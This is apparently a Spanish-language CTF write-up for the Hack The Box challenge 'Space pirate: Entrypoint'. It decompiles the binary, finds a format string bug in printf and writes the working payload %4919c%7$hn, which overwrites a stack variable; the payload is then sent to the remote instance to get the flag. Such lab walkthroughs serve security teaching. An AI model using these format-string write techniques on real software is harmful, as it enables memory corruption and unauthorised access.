Space pirate: Entrypoint
6 minutos de lectura
Se nos proporciona un binario de 64 bits llamado sp_entrypoint:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
Podemos ejecutarlo para ver lo que hay, dos opciones:
$ ./sp_entrypoint
Authentication System
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓ ▓▓▓▒▒▓▓▓▒▒▒▒▒▓▓▒░▒▓▓▓░░▓▓▓▓▓ ░ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓ ▓▓▓▒▒▓▓▓▒▒▒▒▒▓▓░░░▓▓▓▒░▓▓▓▓▓ ░ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▒▒▒▒▒▓▓░░░▓▓▓░░▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▒▒▒▒░▓▓░░░▓▓▓░░▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▒▒▒▒▒▓▓▒░░▓▓▓░░▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▒▒▒▒░▓▓░░░▓▓▓░ ▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▒▒▒▒▒▓▓░░░▓▓▒░░▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▒▒░░░▓▓░░░▓▓▒░ ▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▒░░░▒▓▓░░░▓▓▒ ░▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓░░░░░▓▓░░░▓▓▓ ▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒░▓▓▓▒░░░░▓▓▒ ▓▓▒ ▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓░▒░░░▓▓░ ▓▓▒ ▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓ ▓▓▓░▒▓▓▓░░░░░▓▓░ ▓▓▒ ▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓ ▓▓▓▒░▓▓▓░░░░ ▓▓ ▓▓▒ ▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
1. Scan card 💳
2. Insert password
>
Si descompilamos el binario con Ghidra, veremos la función main:
undefined8 main() {
long lVar1;
long in_FS_OFFSET;
long local_48;
long *local_40;
char local_38[40];
long local_10;
local_10 = *(long *) (in_FS_OFFSET + 0x28);
setup();
banner();
local_48 = 0xdeadbeef;
local_40 = &local_48;
printf(&DAT_001025e0);
lVar1 = read_num();
if (lVar1 != 1) {
if (lVar1 == 2) {
check_pass();
}
printf(&DAT_00102668, &DAT_0010259a);
/* WARNING: Subroutine does not return */
exit(0x1b39);
}
printf("\n[!] Scanning card.. Something is wrong!\n\nInsert card\'s serial number: ");
read(0,local_38, 0x1f);
printf("\nYour card is: ");
printf(local_38);
if (local_48 == 0xdead1337) {
open_door();
} else {
printf(&DAT_001026a0, &DAT_0010259a);
}
if (local_10 == *(long *) (in_FS_OFFSET + 0x28)) {
return 0;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
La segunda opción solicita una contraseña:
$ ./sp_entrypoint
...
1. Scan card 💳
2. Insert password
> 2
[*] Insert password: asdf
[-] Invalid password! Intruder detected! 🚨 🚨
La función que se encarga de la autenticación es check_pass:
void check_pass() {
int iVar1;
long in_FS_OFFSET;
undefined8 local_28;
undefined8 local_20;
long local_10;
local_10 = *(long *) (in_FS_OFFSET + 0x28);
local_28 = 0;
local_20 = 0;
printf("[*] Insert password: ");
read(0, &local_28, 0xf);
iVar1 = strncmp("0nlyTh30r1g1n4lCr3wM3mb3r5C4nP455", (char *) &local_28, 0x21);
if (iVar1 != 0) {
printf(&DAT_001025a8, &DAT_0010259a);
/* WARNING: Subroutine does not return */
exit(0x1b39);
}
open_door();
if (local_10 != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
Como se muestra, el programa lee 0xf (15) bytes y los compara con 0nlyTh30r1g1n4lCr3wM3mb3r5C4nP455. Sin embargo, no somos capaces de introducir más de 15 bytes, por lo que no hay manera de pasar la comparación.
Si fuéramos capaces de pasarla, entonces el programa llamaría a la función open_door, y se mostraría la flag:
void open_door() {
long lVar1;
long in_FS_OFFSET;
lVar1 = *(long *) (in_FS_OFFSET + 0x28);
printf("\n%s[+] Door opened, you can proceed with the passphrase: ", &DAT_00100eb8);
system("cat flag*");
if (lVar1 != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
Si vamos de nuevo al main, vemos que tenemos otra posibilidad si elegimos la primera opción:
printf("\n[!] Scanning card.. Something is wrong!\n\nInsert card\'s serial number: ");
read(0,local_38, 0x1f);
printf("\nYour card is: ");
printf(local_38);
if (local_48 == 0xdead1337) {
open_door();
} else {
printf(&DAT_001026a0, &DAT_0010259a);
}
Aquí hay una vulnerabilidad de Format String, ya que printf utiliza como primer argumento la misma información que ponemos como “card’s serial number”. Una prueba de concepto:
$ ./sp_entrypoint
...
1. Scan card 💳
2. Insert password
> 1
[!] Scanning card.. Something is wrong!
Insert card's serial number: %x
Your card is: eb7a7420
[-] Invalid password! Intruder detected! 🚨 🚨
El valor eb7a7420 es un valor tomado de la pila (stack), por lo que podemos potencialmente leer y escribir en la pila con la vulnerabilidad de Format String.
Aquí, si local_48 tiene un valor de 0xdead1337, entonces se llamaría a open_door. Desafortunadamente, local_48 está puesto como 0xdeadbeef, por lo que es diferente.
Pero podemos usar la vulnerabilidad de Format String para modificar el valor de la variable local. Vamos a encontrar el offset en la pila donde se guarda local_48:
$ ./sp_entrypoint
...
1. Scan card 💳
2. Insert password
> 1
[!] Scanning card.. Something is wrong!
Insert card's serial number: %lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.
Your card is: 7ffed66b4cf0.7f61975088c0.0.f.0.deadbeef.7ffed66b7390.2e786c252e786c25
[-] Invalid password! Intruder detected! 🚨 🚨
Parece que está en la posición 6. Vamos a comprobarlo con %6$lx:
$ ./sp_entrypoint
...
1. Scan card 💳
2. Insert password
> 1
[!] Scanning card.. Something is wrong!
Insert card's serial number: %6$lx
Your card is: deadbeef
[-] Invalid password! Intruder detected! 🚨 🚨
Perfecto. Ahora tenemos que usar el formato %n (por ejemplo, %6$n) para escribir datos en memoria. La manera en la que %6$n funciona es que guarda el número de caracteres impresos hasta %6$n en la dirección de la sexta posición de la pila.
Por esta razón, no podemos usar %6$n, ya que 0xdeadbeef no es una dirección válida. Tenemos que encontrar la dirección que contiene 0xdeafbeef. Vamos a usar GDB para encontrarla:
$ gdb -q sp_entrypoint
Reading symbols from sp_entrypoint...
(No debugging symbols found in sp_entrypoint)
gef➤ run
Starting program: ./sp_entrypoint
...
1. Scan card 💳
2. Insert password
> ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7af2031 in read () from ./glibc/libc.so.6
gef➤ grep 0xdeadbeef
[+] Searching '\xef\xbe\xad\xde' in memory
[+] In './sp_entrypoint'(0x555555400000-0x555555403000), permission=r-x
0x555555400d18 - 0x555555400d28 → "\xef\xbe\xad\xde[...]"
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
0x7fffffffe650 - 0x7fffffffe660 → "\xef\xbe\xad\xde[...]"
Parece que local_48 está en la dirección 0x7fffffffe650. Ahora vamos a enumerar la vulnerabilidad de Format String otra vez:
gef➤ continue
Continuing.
1
[!] Scanning card.. Something is wrong!
Insert card's serial number%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.
Your card is: 7fffffffbfb0.7ffff7dcf8c0.0.f.0.deadbeef.7fffffffe650.2e786c252e786c25
[-] Invalid password! Intruder detected! 🚨 🚨
[Inferior 1 (process 76812) exited normally]
Vale, necesitamos escribir en la posición 7, por lo que usaremos %7$n.
De hecho, podemos usar %7$hn para sobrescribir media palabra (2 bytes), porque es lo que necesitamos en esta situación. Para imprimir 0x1337 (4919) bytes, podemos usar otra format string, que es %4919c. Vamos a probar:
1. Scan card 💳
2. Insert password
> 1
[!] Scanning card.. Something is wrong!
Insert card's serial number: %4919c%7$hn
Your card is:
[+] Door opened, you can proceed with the passphrase: HTB{f4k3_fl4g_f0r_t3st1ng}
Lo tenemos. Vamos entonces a explotar la instancia remota:
$ nc 178.62.26.185 31995
...
1. Scan card 💳
2. Insert password
> 1
[!] Scanning card.. Something is wrong!
Insert card's serial number: %4919c%7$hn
Your card is:
[+] Door opened, you can proceed with the passphrase: HTB{g4t3_0n3_d4rkn3e55_th3_w0rld_0f_p1r4t35}